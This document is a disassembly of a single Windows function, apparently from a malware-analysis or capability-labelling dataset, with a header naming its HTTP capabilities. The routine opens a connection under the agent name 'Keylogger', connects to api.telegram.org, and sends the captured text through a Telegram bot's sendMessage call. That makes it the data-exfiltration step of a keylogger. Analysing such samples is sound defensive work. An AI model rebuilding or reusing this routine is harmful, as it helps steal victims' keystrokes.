Function at 0x140003360
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x140043040]
xor rax, rsp
mov qword [rbp + 8], rax
xor ebx, ebx
mov rdx, rcx
lea rcx, [rbp - 0x18]
call fcn.140003100
nop
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Keylogger
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
test rax, rax
je 0x14000387e
mov r8d, 0x1bb
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, str.api.telegram.org
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rsi, rax
test rax, rax
je 0x140003858
mov r15, qword [0x140045ef8]
movabs rax, 0x7fffffffffffffff
mov rcx, rax
sub rcx, r15
cmp rcx, 4
jb 0x14000390a
lea r13, [0x140045ee8]
cmp qword [0x140045f00], 0xf
cmova r13, qword [0x140045ee8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea r12, [r15 + 4]
mov ebx, 0xf
lea rdi, [rsp + 0x40]
cmp r12, rbx
jbe 0x1400034da
mov rbx, r12
or rbx, 0xf
cmp rbx, rax
jbe 0x14000349c
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000f3d8
test rax, rax
je 0x140003910
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400034d5
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400034b5
xor edi, edi
jmp 0x1400034d5
cmp rcx, 0x1000
jb 0x1400034cd
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003904
jmp 0x14000347d
call fcn.14000f3d8
mov rdi, rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], rbx
mov dword [rdi], 0x746f622f
lea rcx, [rdi + 4]
mov r8, r15
mov rdx, r13
call fcn.14002eb70
mov byte [rdi + r12], 0
mov r8d, 0x15
lea rdx, str._sendMessage_chat_id
lea rcx, [rsp + 0x40]
call fcn.140008270
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea rdx, [0x140045f08]
cmp qword [0x140045f20], 0xf
cmova rdx, qword [0x140045f08]
mov r8, qword [0x140045f18]
lea rcx, [rbp - 0x60]
call fcn.140008270
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov r8d, 6
lea rdx, str.text
lea rcx, [rbp - 0x80]
call fcn.140008270
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea rdx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 8]
lea rcx, [rsp + 0x60]
call fcn.140008270
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140003661
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000365c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003916
call fcn.14000f2b0
movdqa xmm0, xmmword [0x14003cca0]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1400036b7
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000391c
call fcn.14000f2b0
movdqa xmm0, xmmword [0x14003cca0]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140003703
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003922
call fcn.14000f2b0
movdqa xmm0, xmmword [0x14003cca0]
movdqu xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x60], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140003751
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003744
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003928
call fcn.14000f2b0
movdqa xmm0, xmmword [0x14003cca0]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
lea r8, [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova r8, qword [rbp - 0x38]
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], 0x4800000
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, [0x14003c8f0]
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rdi, rax
test rax, rax
je 0x1400037ed
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x1400037e2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.Error_sending_request:
lea rcx, [0x140044820]
call fcn.1400095f0
mov rcx, rax
mov edx, ebx
call fcn.140006770
mov rcx, rax
call fcn.140009b80
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140003808
lea rdx, str.Failed_to_open_HTTP_request.
lea rcx, [0x140044820]
call fcn.1400095f0
mov rcx, rax
call fcn.140009b80
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140003873
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003848
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000392e
call fcn.14000f2b0
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000389a
lea rdx, str.Failed_to_connect_to_Telegram_API.
lea rcx, [0x140044820]
call fcn.1400095f0
mov rcx, rax
call fcn.140009b80
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000389a
lea rdx, str.Failed_to_initialize_Internet_handle.
lea rcx, [0x140044820]
call fcn.1400095f0
mov rcx, rax
call fcn.140009b80
nop
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x1400038d1
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400038cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400038fe
call fcn.14000f2b0
mov rcx, qword [rbp + 8]
xor rcx, rsp
call fcn.14000f290
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14001797c
nop
call fcn.140001400
nop
call fcn.1400014a0
int3
call fcn.14001797c
nop
call fcn.14001797c
nop
call fcn.14001797c
nop
call fcn.14001797c
nop
call fcn.14001797c
nop
call fcn.14001797c
int3